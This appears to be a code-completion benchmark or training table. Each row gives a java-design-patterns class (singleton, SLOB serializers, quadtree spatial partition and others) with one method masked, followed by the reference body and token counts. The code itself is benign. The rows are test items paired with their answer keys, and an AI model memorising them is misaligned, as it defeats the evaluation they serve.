proj_name
stringclasses
131 values
relative_path
stringlengths
30
228
class_name
stringlengths
1
68
func_name
stringlengths
1
48
masked_class
stringlengths
78
9.82k
func_body
stringlengths
46
9.61k
len_input
int64
29
2.01k
len_output
int64
14
1.94k
total
int64
55
2.05k
relevant_context
stringlengths
0
38.4k
iluwatar_java-design-patterns
java-design-patterns/single-table-inheritance/src/main/java/com/iluwatar/entity/Vehicle.java
Vehicle
toString
class Vehicle { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private int vehicleId; private String manufacturer; private String model; protected Vehicle(String manufacturer, String model) { this.manufacturer = manufacturer; this.model = model; } @Override public String toString() {<FILL_FUNCTION_BODY>} }
return "Vehicle{" + "vehicleId=" + vehicleId + ", manufacturer='" + manufacturer + '\'' + ", model='" + model + '}';
112
59
171
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/singleton/src/main/java/com/iluwatar/singleton/App.java
App
main
class App { /** * Program entry point. * * @param args command line args */ public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
// eagerly initialized singleton var ivoryTower1 = IvoryTower.getInstance(); var ivoryTower2 = IvoryTower.getInstance(); LOGGER.info("ivoryTower1={}", ivoryTower1); LOGGER.info("ivoryTower2={}", ivoryTower2); // lazily initialized singleton var threadSafeIvoryTower1 = ThreadSafeLazyLoadedIvoryTower.getInstance(); var threadSafeIvoryTower2 = ThreadSafeLazyLoadedIvoryTower.getInstance(); LOGGER.info("threadSafeIvoryTower1={}", threadSafeIvoryTower1); LOGGER.info("threadSafeIvoryTower2={}", threadSafeIvoryTower2); // enum singleton var enumIvoryTower1 = EnumIvoryTower.INSTANCE; var enumIvoryTower2 = EnumIvoryTower.INSTANCE; LOGGER.info("enumIvoryTower1={}", enumIvoryTower1); LOGGER.info("enumIvoryTower2={}", enumIvoryTower2); // double checked locking var dcl1 = ThreadSafeDoubleCheckLocking.getInstance(); LOGGER.info(dcl1.toString()); var dcl2 = ThreadSafeDoubleCheckLocking.getInstance(); LOGGER.info(dcl2.toString()); // initialize on demand holder idiom var demandHolderIdiom = InitializingOnDemandHolderIdiom.getInstance(); LOGGER.info(demandHolderIdiom.toString()); var demandHolderIdiom2 = InitializingOnDemandHolderIdiom.getInstance(); LOGGER.info(demandHolderIdiom2.toString()); // initialize singleton using Bill Pugh's implementation var billPughSingleton = BillPughImplementation.getInstance(); LOGGER.info(billPughSingleton.toString()); var billPughSingleton2 = BillPughImplementation.getInstance(); LOGGER.info(billPughSingleton2.toString());
56
537
593
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/singleton/src/main/java/com/iluwatar/singleton/ThreadSafeDoubleCheckLocking.java
ThreadSafeDoubleCheckLocking
getInstance
class ThreadSafeDoubleCheckLocking { /** * Singleton instance of the class, declared as volatile to ensure atomic access by multiple threads. */ private static volatile ThreadSafeDoubleCheckLocking instance; /** * private constructor to prevent client from instantiating. */ private ThreadSafeDoubleCheckLocking() { // to prevent instantiating by Reflection call if (instance != null) { throw new IllegalStateException("Already initialized."); } } /** * Public accessor. * * @return an instance of the class. */ public static ThreadSafeDoubleCheckLocking getInstance() {<FILL_FUNCTION_BODY>} }
// local variable increases performance by 25 percent // Joshua Bloch "Effective Java, Second Edition", p. 283-284 var result = instance; // Check if singleton instance is initialized. // If it is initialized then we can return the instance. if (result == null) { // It is not initialized but we cannot be sure because some other thread might have // initialized it in the meanwhile. // So to make sure we need to lock on an object to get mutual exclusion. synchronized (ThreadSafeDoubleCheckLocking.class) { // Again assign the instance to local variable to check if it was initialized by some // other thread while current thread was blocked to enter the locked zone. // If it was initialized then we can return the previously created instance // just like the previous null check. result = instance; if (result == null) { // The instance is still not initialized so we can safely // (no other thread can enter this zone) // create an instance and make it our singleton instance. result = new ThreadSafeDoubleCheckLocking(); instance = result; } } } return result;
174
291
465
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/singleton/src/main/java/com/iluwatar/singleton/ThreadSafeLazyLoadedIvoryTower.java
ThreadSafeLazyLoadedIvoryTower
getInstance
class ThreadSafeLazyLoadedIvoryTower { /** * Singleton instance of the class, declared as volatile to ensure atomic access by multiple threads. */ private static volatile ThreadSafeLazyLoadedIvoryTower instance; /** * Private constructor to prevent instantiation from outside the class. */ private ThreadSafeLazyLoadedIvoryTower() { // Protect against instantiation via reflection if (instance != null) { throw new IllegalStateException("Already initialized."); } } /** * The instance doesn't get created until the method is called for the first time. * * @return an instance of the class. */ public static synchronized ThreadSafeLazyLoadedIvoryTower getInstance() {<FILL_FUNCTION_BODY>} }
if (instance == null) { instance = new ThreadSafeLazyLoadedIvoryTower(); } return instance;
211
37
248
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/App.java
App
executeSerializer
class App { public static final String CLOB = "CLOB"; private static final Logger LOGGER = LoggerFactory.getLogger(App.class); /** * Main entry point to program. * <p>In the SLOB pattern, the object graph is serialized into a single large object (a BLOB or * CLOB, for Binary Large Object or Character Large Object, respectively) and stored in the * database. When the object graph needs to be retrieved, it is read from the database and * deserialized back into the original object graph.</p> * * <p>A Forest is created using {@link #createForest()} with Animals and Plants along with their * respective relationships.</p> * * <p>Creates a {@link LobSerializer} using the method * {@link #createLobSerializer(String[])}.</p> * * <p>Once created the serializer is passed to the * {@link #executeSerializer(Forest, LobSerializer)} which handles the serialization, * deserialization and persisting and loading from DB.</p> * * @param args if first arg is CLOB then ClobSerializer is used else BlobSerializer is used. */ public static void main(String[] args) throws SQLException { Forest forest = createForest(); LobSerializer serializer = createLobSerializer(args); executeSerializer(forest, serializer); } /** * <p>Creates a {@link LobSerializer} on the basis of input args. </p> * <p>If input args are not empty and the value equals {@link App#CLOB} then a * {@link ClobSerializer} is created else a {@link BlobSerializer} is created.</p> * * @param args if first arg is {@link App#CLOB} then ClobSerializer is instantiated else * BlobSerializer is instantiated. */ private static LobSerializer createLobSerializer(String[] args) throws SQLException { LobSerializer serializer; if (args.length > 0 && Objects.equals(args[0], CLOB)) { serializer = new ClobSerializer(); } else { serializer = new BlobSerializer(); } return serializer; } /** * Creates a Forest with {@link Animal} and {@link Plant} along with their respective * relationships. * * <p> The method creates a {@link Forest} with 2 Plants Grass and Oak of type Herb and tree * respectively.</p> * * <p> It also creates 3 animals Zebra and Buffalo which eat the plant grass. Lion consumes the * Zebra and the Buffalo.</p> * * <p>With the above animals and plants and their relationships a forest * object is created which represents the Object Graph.</p> * * @return Forest Object */ private static Forest createForest() { Plant grass = new Plant("Grass", "Herb"); Plant oak = new Plant("Oak", "Tree"); Animal zebra = new Animal("Zebra", Set.of(grass), Collections.emptySet()); Animal buffalo = new Animal("Buffalo", Set.of(grass), Collections.emptySet()); Animal lion = new Animal("Lion", Collections.emptySet(), Set.of(zebra, buffalo)); return new Forest("Amazon", Set.of(lion, buffalo, zebra), Set.of(grass, oak)); } /** * Serialize the input object using the input serializer and persist to DB. After this it loads * the same object back from DB and deserializes using the same serializer. * * @param forest Object to Serialize and Persist * @param lobSerializer Serializer to Serialize and Deserialize Object */ private static void executeSerializer(Forest forest, LobSerializer lobSerializer) {<FILL_FUNCTION_BODY>} }
try (LobSerializer serializer = lobSerializer) { Object serialized = serializer.serialize(forest); int id = serializer.persistToDb(1, forest.getName(), serialized); Object fromDb = serializer.loadFromDb(id, Forest.class.getSimpleName()); Forest forestFromDb = serializer.deSerialize(fromDb); LOGGER.info(forestFromDb.toString()); } catch (SQLException | IOException | TransformerException | ParserConfigurationException | SAXException | ClassNotFoundException e) { throw new RuntimeException(e); }
1,012
156
1,168
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/dbservice/DatabaseService.java
DatabaseService
insert
class DatabaseService { public static final String CREATE_BINARY_SCHEMA_DDL = "CREATE TABLE IF NOT EXISTS FORESTS (ID NUMBER UNIQUE, NAME VARCHAR(30),FOREST VARBINARY)"; public static final String CREATE_TEXT_SCHEMA_DDL = "CREATE TABLE IF NOT EXISTS FORESTS (ID NUMBER UNIQUE, NAME VARCHAR(30),FOREST VARCHAR)"; public static final String DELETE_SCHEMA_SQL = "DROP TABLE FORESTS IF EXISTS"; public static final String BINARY_DATA = "BINARY"; private static final String DB_URL = "jdbc:h2:~/test"; private static final String INSERT = "insert into FORESTS (id,name, forest) values (?,?,?)"; private static final String SELECT = "select FOREST from FORESTS where id = ?"; private static final DataSource dataSource = createDataSource(); public String dataTypeDb; /** * Constructor initializes {@link DatabaseService#dataTypeDb}. * * @param dataTypeDb Type of data that is to be stored in DB can be 'TEXT' or 'BINARY'. */ public DatabaseService(String dataTypeDb) { this.dataTypeDb = dataTypeDb; } /** * Initiates Data source. * * @return created data source */ private static DataSource createDataSource() { var dataSource = new JdbcDataSource(); dataSource.setURL(DB_URL); return dataSource; } /** * Shutdown Sequence executes Query {@link DatabaseService#DELETE_SCHEMA_SQL}. * * @throws SQLException if any issue occurs while executing DROP Query */ public void shutDownService() throws SQLException { try (var connection = dataSource.getConnection(); var statement = connection.createStatement()) { statement.execute(DELETE_SCHEMA_SQL); } } /** * Initaites startup sequence and executes the query * {@link DatabaseService#CREATE_BINARY_SCHEMA_DDL} if {@link DatabaseService#dataTypeDb} is * binary else will execute the query {@link DatabaseService#CREATE_TEXT_SCHEMA_DDL}. * * @throws SQLException if there are any issues during DDL execution */ public void startupService() throws SQLException { try (var connection = dataSource.getConnection(); var statement = connection.createStatement()) { if (dataTypeDb.equals("BINARY")) { statement.execute(CREATE_BINARY_SCHEMA_DDL); } else { statement.execute(CREATE_TEXT_SCHEMA_DDL); } } } /** * Executes the insert query {@link DatabaseService#INSERT}. * * @param id with which row is to be inserted * @param name name to be added in the row * @param data object data to be saved in the row * @throws SQLException if there are any issues in executing insert query * {@link DatabaseService#INSERT} */ public void insert(int id, String name, Object data) throws SQLException {<FILL_FUNCTION_BODY>} /** * Runs the select query {@link DatabaseService#SELECT} form the result set returns an * {@link java.io.InputStream} if {@link DatabaseService#dataTypeDb} is 'binary' else will return * the object as a {@link String}. * * @param id with which row is to be selected * @param columnsName column in which the object is stored * @return object found from DB * @throws SQLException if there are any issues in executing insert query * * {@link DatabaseService#SELECT} */ public Object select(final long id, String columnsName) throws SQLException { ResultSet resultSet = null; try (var connection = dataSource.getConnection(); var preparedStatement = connection.prepareStatement(SELECT) ) { Object result = null; preparedStatement.setLong(1, id); resultSet = preparedStatement.executeQuery(); while (resultSet.next()) { if (dataTypeDb.equals(BINARY_DATA)) { result = resultSet.getBinaryStream(columnsName); } else { result = resultSet.getString(columnsName); } } return result; } finally { if (resultSet != null) { resultSet.close(); } } } }
try (var connection = dataSource.getConnection(); var insert = connection.prepareStatement(INSERT)) { insert.setInt(1, id); insert.setString(2, name); insert.setObject(3, data); insert.execute(); }
1,167
71
1,238
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/lob/Animal.java
Animal
toString
class Animal implements Serializable { private String name; private Set<Plant> plantsEaten = new HashSet<>(); private Set<Animal> animalsEaten = new HashSet<>(); /** * Iterates over the input nodes recursively and adds new plants to {@link Animal#plantsEaten} or * animals to {@link Animal#animalsEaten} found to input sets respectively. * * @param childNodes contains the XML Node containing the Forest * @param animalsEaten set of Animals eaten * @param plantsEaten set of Plants eaten */ protected static void iterateXmlForAnimalAndPlants(NodeList childNodes, Set<Animal> animalsEaten, Set<Plant> plantsEaten) { for (int i = 0; i < childNodes.getLength(); i++) { Node child = childNodes.item(i); if (child.getNodeType() == Node.ELEMENT_NODE) { if (child.getNodeName().equals(Animal.class.getSimpleName())) { Animal animalEaten = new Animal(); animalEaten.createObjectFromXml(child); animalsEaten.add(animalEaten); } else if (child.getNodeName().equals(Plant.class.getSimpleName())) { Plant plant = new Plant(); plant.createObjectFromXml(child); plantsEaten.add(plant); } } } } /** * Provides XML Representation of the Animal. * * @param xmlDoc object to which the XML representation is to be written to * @return XML Element contain the Animal representation */ public Element toXmlElement(Document xmlDoc) { Element root = xmlDoc.createElement(Animal.class.getSimpleName()); root.setAttribute("name", name); for (Plant plant : plantsEaten) { Element xmlElement = plant.toXmlElement(xmlDoc); if (xmlElement != null) { root.appendChild(xmlElement); } } for (Animal animal : animalsEaten) { Element xmlElement = animal.toXmlElement(xmlDoc); if (xmlElement != null) { root.appendChild(xmlElement); } } xmlDoc.appendChild(root); return (Element) xmlDoc.getFirstChild(); } /** * Parses the Animal Object from the input XML Node. * * @param node the XML Node from which the Animal Object is to be parsed */ public void createObjectFromXml(Node node) { name = node.getAttributes().getNamedItem("name").getNodeValue(); NodeList childNodes = node.getChildNodes(); iterateXmlForAnimalAndPlants(childNodes, animalsEaten, plantsEaten); } @Override public String toString() {<FILL_FUNCTION_BODY>} }
StringBuilder sb = new StringBuilder(); sb.append("\nAnimal Name = ").append(name); if (!animalsEaten.isEmpty()) { sb.append("\n\tAnimals Eaten by ").append(name).append(": "); } for (Animal animal : animalsEaten) { sb.append("\n\t\t").append(animal); } sb.append("\n"); if (!plantsEaten.isEmpty()) { sb.append("\n\tPlants Eaten by ").append(name).append(": "); } for (Plant plant : plantsEaten) { sb.append("\n\t\t").append(plant); } return sb.toString();
734
189
923
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/lob/Forest.java
Forest
toXmlElement
class Forest implements Serializable { private String name; private Set<Animal> animals = new HashSet<>(); private Set<Plant> plants = new HashSet<>(); /** * Provides the representation of Forest in XML form. * * @return XML Element */ public Element toXmlElement() throws ParserConfigurationException {<FILL_FUNCTION_BODY>} /** * Returns XMLDoc to use for XML creation. * * @return XML DOC Object * @throws ParserConfigurationException {@inheritDoc} */ private Document getXmlDoc() throws ParserConfigurationException { return DocumentBuilderFactory.newDefaultInstance().newDocumentBuilder().newDocument(); } /** * Parses the Forest Object from the input XML Document. * * @param document the XML document from which the Forest is to be parsed */ public void createObjectFromXml(Document document) { name = document.getDocumentElement().getAttribute("name"); NodeList nodeList = document.getElementsByTagName("*"); iterateXmlForAnimalAndPlants(nodeList, animals, plants); } @Override public String toString() { StringBuilder sb = new StringBuilder("\n"); sb.append("Forest Name = ").append(name).append("\n"); sb.append("Animals found in the ").append(name).append(" Forest: \n"); for (Animal animal : animals) { sb.append("\n--------------------------\n"); sb.append(animal.toString()); sb.append("\n--------------------------\n"); } sb.append("\n"); sb.append("Plants in the ").append(name).append(" Forest: \n"); for (Plant plant : plants) { sb.append("\n--------------------------\n"); sb.append(plant.toString()); sb.append("\n--------------------------\n"); } return sb.toString(); } }
Document xmlDoc = getXmlDoc(); Element forestXml = xmlDoc.createElement("Forest"); forestXml.setAttribute("name", name); Element animalsXml = xmlDoc.createElement("Animals"); for (Animal animal : animals) { Element animalXml = animal.toXmlElement(xmlDoc); animalsXml.appendChild(animalXml); } forestXml.appendChild(animalsXml); Element plantsXml = xmlDoc.createElement("Plants"); for (Plant plant : plants) { Element plantXml = plant.toXmlElement(xmlDoc); plantsXml.appendChild(plantXml); } forestXml.appendChild(plantsXml); return forestXml;
498
182
680
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/lob/Plant.java
Plant
toXmlElement
class Plant implements Serializable { private String name; private String type; /** * Provides XML Representation of the Plant. * * @param xmlDoc to which the XML representation is to be written to * @return XML Element contain the Animal representation */ public Element toXmlElement(Document xmlDoc) {<FILL_FUNCTION_BODY>} /** * Parses the Plant Object from the input XML Node. * * @param node the XML Node from which the Animal Object is to be parsed */ public void createObjectFromXml(Node node) { NamedNodeMap attributes = node.getAttributes(); name = attributes.getNamedItem("name").getNodeValue(); type = attributes.getNamedItem("type").getNodeValue(); } @Override public String toString() { StringJoiner stringJoiner = new StringJoiner(","); stringJoiner.add("Name = " + name); stringJoiner.add("Type = " + type); return stringJoiner.toString(); } }
Element root = xmlDoc.createElement(Plant.class.getSimpleName()); root.setAttribute("name", name); root.setAttribute("type", type); xmlDoc.appendChild(root); return xmlDoc.getDocumentElement();
270
64
334
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/serializers/BlobSerializer.java
BlobSerializer
deSerialize
class BlobSerializer extends LobSerializer { public static final String TYPE_OF_DATA_FOR_DB = "BINARY"; public BlobSerializer() throws SQLException { super(TYPE_OF_DATA_FOR_DB); } /** * Serializes the input object graph to its Binary Representation using Object Stream. * * @param toSerialize Object which is to be serialized * @return Serialized object * @throws IOException {@inheritDoc} */ @Override public Object serialize(Forest toSerialize) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(toSerialize); oos.close(); return new ByteArrayInputStream(baos.toByteArray()); } /** * Deserializes the input Byte Array Stream using Object Stream and return its Object Graph * Representation. * * @param toDeserialize Input Object to De-serialize * @return Deserialized Object * @throws ClassNotFoundException {@inheritDoc} * @throws IOException {@inheritDoc} */ @Override public Forest deSerialize(Object toDeserialize) throws IOException, ClassNotFoundException {<FILL_FUNCTION_BODY>} }
InputStream bis = (InputStream) toDeserialize; Forest forest; try (ObjectInput in = new ObjectInputStream(bis)) { forest = (Forest) in.readObject(); } return forest;
329
58
387
<methods>public void close() ,public abstract com.iluwatar.slob.lob.Forest deSerialize(java.lang.Object) throws javax.xml.parsers.ParserConfigurationException, java.io.IOException, org.xml.sax.SAXException, java.lang.ClassNotFoundException,public java.lang.Object loadFromDb(int, java.lang.String) throws java.sql.SQLException,public int persistToDb(int, java.lang.String, java.lang.Object) throws java.sql.SQLException,public abstract java.lang.Object serialize(com.iluwatar.slob.lob.Forest) throws javax.xml.parsers.ParserConfigurationException, javax.xml.transform.TransformerException, java.io.IOException<variables>private final transient non-sealed com.iluwatar.slob.dbservice.DatabaseService databaseService
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/serializers/ClobSerializer.java
ClobSerializer
elementToXmlString
class ClobSerializer extends LobSerializer { public static final String TYPE_OF_DATA_FOR_DB = "TEXT"; public ClobSerializer() throws SQLException { super(TYPE_OF_DATA_FOR_DB); } /** * Converts the input node to its XML String Representation. * * @param node XML Node that is to be converted to string * @return String representation of XML parsed from the Node * @throws TransformerException If any issues occur in Transformation from Node to XML */ private static String elementToXmlString(Element node) throws TransformerException {<FILL_FUNCTION_BODY>} /** * Serializes the input object graph to its XML Representation using DOM Elements. * * @param forest Object which is to be serialized * @return Serialized object * @throws ParserConfigurationException If any issues occur in parsing input object * @throws TransformerException If any issues occur in Transformation from Node to XML */ @Override public Object serialize(Forest forest) throws ParserConfigurationException, TransformerException { Element xmlElement = forest.toXmlElement(); return elementToXmlString(xmlElement); } /** * Deserializes the input XML string using DOM Parser and return its Object Graph Representation. * * @param toDeserialize Input Object to De-serialize * @return Deserialized Object * @throws ParserConfigurationException If any issues occur in parsing input object * @throws IOException if any issues occur during reading object * @throws SAXException If any issues occur in Transformation from Node to XML */ @Override public Forest deSerialize(Object toDeserialize) throws ParserConfigurationException, IOException, SAXException { DocumentBuilder documentBuilder = DocumentBuilderFactory.newDefaultInstance() .newDocumentBuilder(); var stream = new ByteArrayInputStream(toDeserialize.toString().getBytes()); Document parsed = documentBuilder.parse(stream); Forest forest = new Forest(); forest.createObjectFromXml(parsed); return forest; } }
StringWriter sw = new StringWriter(); Transformer t = TransformerFactory.newDefaultInstance().newTransformer(); t.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "no"); t.setOutputProperty(OutputKeys.INDENT, "yes"); t.transform(new DOMSource(node), new StreamResult(sw)); return sw.toString();
526
97
623
<methods>public void close() ,public abstract com.iluwatar.slob.lob.Forest deSerialize(java.lang.Object) throws javax.xml.parsers.ParserConfigurationException, java.io.IOException, org.xml.sax.SAXException, java.lang.ClassNotFoundException,public java.lang.Object loadFromDb(int, java.lang.String) throws java.sql.SQLException,public int persistToDb(int, java.lang.String, java.lang.Object) throws java.sql.SQLException,public abstract java.lang.Object serialize(com.iluwatar.slob.lob.Forest) throws javax.xml.parsers.ParserConfigurationException, javax.xml.transform.TransformerException, java.io.IOException<variables>private final transient non-sealed com.iluwatar.slob.dbservice.DatabaseService databaseService
iluwatar_java-design-patterns
java-design-patterns/slob/src/main/java/com/iluwatar/slob/serializers/LobSerializer.java
LobSerializer
close
class LobSerializer implements Serializable, Closeable { private final transient DatabaseService databaseService; /** * Constructor initializes {@link LobSerializer#databaseService}. * * @param dataTypeDb Input provides type of Data to be stored by the Data Base Service * @throws SQLException If any issue occurs during instantiation of DB Service or during startup. */ protected LobSerializer(String dataTypeDb) throws SQLException { databaseService = new DatabaseService(dataTypeDb); databaseService.startupService(); } /** * Provides the specification to Serialize the input object. * * @param toSerialize Input Object to serialize * @return Serialized Object * @throws ParserConfigurationException if any issue occurs during parsing of input object * @throws TransformerException if any issue occurs during Transformation * @throws IOException if any issues occur during reading object */ public abstract Object serialize(Forest toSerialize) throws ParserConfigurationException, TransformerException, IOException; /** * Saves the object to DB with the provided ID. * * @param id key to be sent to DB service * @param name Object name to store in DB * @param object Object to store in DB * @return ID with which the object is stored in DB * @throws SQLException if any issue occurs while saving to DB */ public int persistToDb(int id, String name, Object object) throws SQLException { databaseService.insert(id, name, object); return id; } /** * Loads the object from db using the ID and column name. * * @param id to query the DB * @param columnName column from which object is to be extracted * @return Object from DB * @throws SQLException if any issue occurs while loading from DB */ public Object loadFromDb(int id, String columnName) throws SQLException { return databaseService.select(id, columnName); } /** * Provides the specification to Deserialize the input object. * * @param toDeserialize object to deserialize * @return Deserialized Object * @throws ParserConfigurationException If issue occurs during parsing of input object * @throws IOException if any issues occur during reading object * @throws SAXException if any issues occur during reading object for XML parsing */ public abstract Forest deSerialize(Object toDeserialize) throws ParserConfigurationException, IOException, SAXException, ClassNotFoundException; @Override public void close() {<FILL_FUNCTION_BODY>} }
try { databaseService.shutDownService(); } catch (SQLException e) { throw new RuntimeException(e); }
656
39
695
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/App.java
App
noSpatialPartition
class App { static void noSpatialPartition(int numOfMovements, Map<Integer, Bubble> bubbles) {<FILL_FUNCTION_BODY>} static void withSpatialPartition( int height, int width, int numOfMovements, Map<Integer, Bubble> bubbles) { //creating quadtree var rect = new Rect(width / 2D, height / 2D, width, height); var quadTree = new QuadTree(rect, 4); //will run numOfMovement times or till all bubbles have popped while (numOfMovements > 0 && !bubbles.isEmpty()) { //quadtree updated each time bubbles.values().forEach(quadTree::insert); bubbles.forEach((i, bubble) -> { //bubble moves, new position gets updated, quadtree used to reduce computations bubble.move(); bubbles.replace(i, bubble); var sp = new SpatialPartitionBubbles(bubbles, quadTree); sp.handleCollisionsUsingQt(bubble); }); numOfMovements--; } //bubbles not popped bubbles.keySet().forEach(key -> LOGGER.info("Bubble {} not popped", key)); } /** * Program entry point. * * @param args command line args */ public static void main(String[] args) { var bubbles1 = new ConcurrentHashMap<Integer, Bubble>(); var bubbles2 = new ConcurrentHashMap<Integer, Bubble>(); var rand = new SecureRandom(); for (int i = 0; i < 10000; i++) { var b = new Bubble(rand.nextInt(300), rand.nextInt(300), i, rand.nextInt(2) + 1); bubbles1.put(i, b); bubbles2.put(i, b); LOGGER.info("Bubble {} with radius {} added at ({},{})", i, b.radius, b.coordinateX, b.coordinateY); } var start1 = System.currentTimeMillis(); App.noSpatialPartition(20, bubbles1); var end1 = System.currentTimeMillis(); var start2 = System.currentTimeMillis(); App.withSpatialPartition(300, 300, 20, bubbles2); var end2 = System.currentTimeMillis(); LOGGER.info("Without spatial partition takes {} ms", (end1 - start1)); LOGGER.info("With spatial partition takes {} ms", (end2 - start2)); } }
//all bubbles have to be checked for collision for all bubbles var bubblesToCheck = bubbles.values(); //will run numOfMovement times or till all bubbles have popped while (numOfMovements > 0 && !bubbles.isEmpty()) { bubbles.forEach((i, bubble) -> { // bubble moves, new position gets updated // and collisions are checked with all bubbles in bubblesToCheck bubble.move(); bubbles.replace(i, bubble); bubble.handleCollision(bubblesToCheck, bubbles); }); numOfMovements--; } //bubbles not popped bubbles.keySet().forEach(key -> LOGGER.info("Bubble {} not popped", key));
686
194
880
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/Bubble.java
Bubble
handleCollision
class Bubble extends Point<Bubble> { private static final SecureRandom RANDOM = new SecureRandom(); final int radius; Bubble(int x, int y, int id, int radius) { super(x, y, id); this.radius = radius; } void move() { //moves by 1 unit in either direction this.coordinateX += RANDOM.nextInt(3) - 1; this.coordinateY += RANDOM.nextInt(3) - 1; } boolean touches(Bubble b) { //distance between them is greater than sum of radii (both sides of equation squared) return (this.coordinateX - b.coordinateX) * (this.coordinateX - b.coordinateX) + (this.coordinateY - b.coordinateY) * (this.coordinateY - b.coordinateY) <= (this.radius + b.radius) * (this.radius + b.radius); } void pop(Map<Integer, Bubble> allBubbles) { LOGGER.info("Bubble {} popped at ({},{})!", this.id, this.coordinateX, this.coordinateY); allBubbles.remove(this.id); } void handleCollision(Collection<? extends Point> toCheck, Map<Integer, Bubble> allBubbles) {<FILL_FUNCTION_BODY>} }
var toBePopped = false; //if any other bubble collides with it, made true for (var point : toCheck) { var otherId = point.id; if (allBubbles.get(otherId) != null //the bubble hasn't been popped yet && this.id != otherId //the two bubbles are not the same && this.touches(allBubbles.get(otherId))) { //the bubbles touch allBubbles.get(otherId).pop(allBubbles); toBePopped = true; } } if (toBePopped) { this.pop(allBubbles); }
371
175
546
<methods><variables>public int coordinateX,public int coordinateY,public final non-sealed int id
iluwatar_java-design-patterns
java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/QuadTree.java
QuadTree
divide
class QuadTree { Rect boundary; int capacity; boolean divided; Map<Integer, Point> points; QuadTree northwest; QuadTree northeast; QuadTree southwest; QuadTree southeast; QuadTree(Rect boundary, int capacity) { this.boundary = boundary; this.capacity = capacity; this.divided = false; this.points = new HashMap<>(); this.northwest = null; this.northeast = null; this.southwest = null; this.southeast = null; } void insert(Point p) { if (this.boundary.contains(p)) { if (this.points.size() < this.capacity) { points.put(p.id, p); } else { if (!this.divided) { this.divide(); } if (this.northwest.boundary.contains(p)) { this.northwest.insert(p); } else if (this.northeast.boundary.contains(p)) { this.northeast.insert(p); } else if (this.southwest.boundary.contains(p)) { this.southwest.insert(p); } else if (this.southeast.boundary.contains(p)) { this.southeast.insert(p); } } } } void divide() {<FILL_FUNCTION_BODY>} Collection<Point> query(Rect r, Collection<Point> relevantPoints) { //could also be a circle instead of a rectangle if (this.boundary.intersects(r)) { this.points .values() .stream() .filter(r::contains) .forEach(relevantPoints::add); if (this.divided) { this.northwest.query(r, relevantPoints); this.northeast.query(r, relevantPoints); this.southwest.query(r, relevantPoints); this.southeast.query(r, relevantPoints); } } return relevantPoints; } }
var x = this.boundary.coordinateX; var y = this.boundary.coordinateY; var width = this.boundary.width; var height = this.boundary.height; var nw = new Rect(x - width / 4, y + height / 4, width / 2, height / 2); this.northwest = new QuadTree(nw, this.capacity); var ne = new Rect(x + width / 4, y + height / 4, width / 2, height / 2); this.northeast = new QuadTree(ne, this.capacity); var sw = new Rect(x - width / 4, y - height / 4, width / 2, height / 2); this.southwest = new QuadTree(sw, this.capacity); var se = new Rect(x + width / 4, y - height / 4, width / 2, height / 2); this.southeast = new QuadTree(se, this.capacity); this.divided = true;
566
278
844
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/Rect.java
Rect
contains
class Rect { double coordinateX; double coordinateY; double width; double height; //(x,y) - centre of rectangle Rect(double x, double y, double width, double height) { this.coordinateX = x; this.coordinateY = y; this.width = width; this.height = height; } boolean contains(Point p) {<FILL_FUNCTION_BODY>} boolean intersects(Rect other) { return !(this.coordinateX + this.width / 2 <= other.coordinateX - other.width / 2 || this.coordinateX - this.width / 2 >= other.coordinateX + other.width / 2 || this.coordinateY + this.height / 2 <= other.coordinateY - other.height / 2 || this.coordinateY - this.height / 2 >= other.coordinateY + other.height / 2); } }
return p.coordinateX >= this.coordinateX - this.width / 2 && p.coordinateX <= this.coordinateX + this.width / 2 && p.coordinateY >= this.coordinateY - this.height / 2 && p.coordinateY <= this.coordinateY + this.height / 2;
251
88
339
<no_super_class>
iluwatar_java-design-patterns
java-design-patterns/spatial-partition/src/main/java/com/iluwatar/spatialpartition/SpatialPartitionBubbles.java
SpatialPartitionBubbles
handleCollisionsUsingQt
class SpatialPartitionBubbles extends SpatialPartitionGeneric<Bubble> { private final Map<Integer, Bubble> bubbles; private final QuadTree bubblesQuadTree; SpatialPartitionBubbles(Map<Integer, Bubble> bubbles, QuadTree bubblesQuadTree) { this.bubbles = bubbles; this.bubblesQuadTree = bubblesQuadTree; } void handleCollisionsUsingQt(Bubble b) {<FILL_FUNCTION_BODY>} }
// finding points within area of a square drawn with centre same as // centre of bubble and length = radius of bubble var rect = new Rect(b.coordinateX, b.coordinateY, 2D * b.radius, 2D * b.radius); var quadTreeQueryResult = new ArrayList<Point>(); this.bubblesQuadTree.query(rect, quadTreeQueryResult); //handling these collisions b.handleCollision(quadTreeQueryResult, this.bubbles);
136
127
263
<methods>public non-sealed void <init>() <variables>Map<java.lang.Integer,com.iluwatar.spatialpartition.Bubble> playerPositions,com.iluwatar.spatialpartition.QuadTree quadTree
iluwatar_java-design-patterns
java-design-patterns/special-case/src/main/java/com/iluwatar/specialcase/App.java
App
main
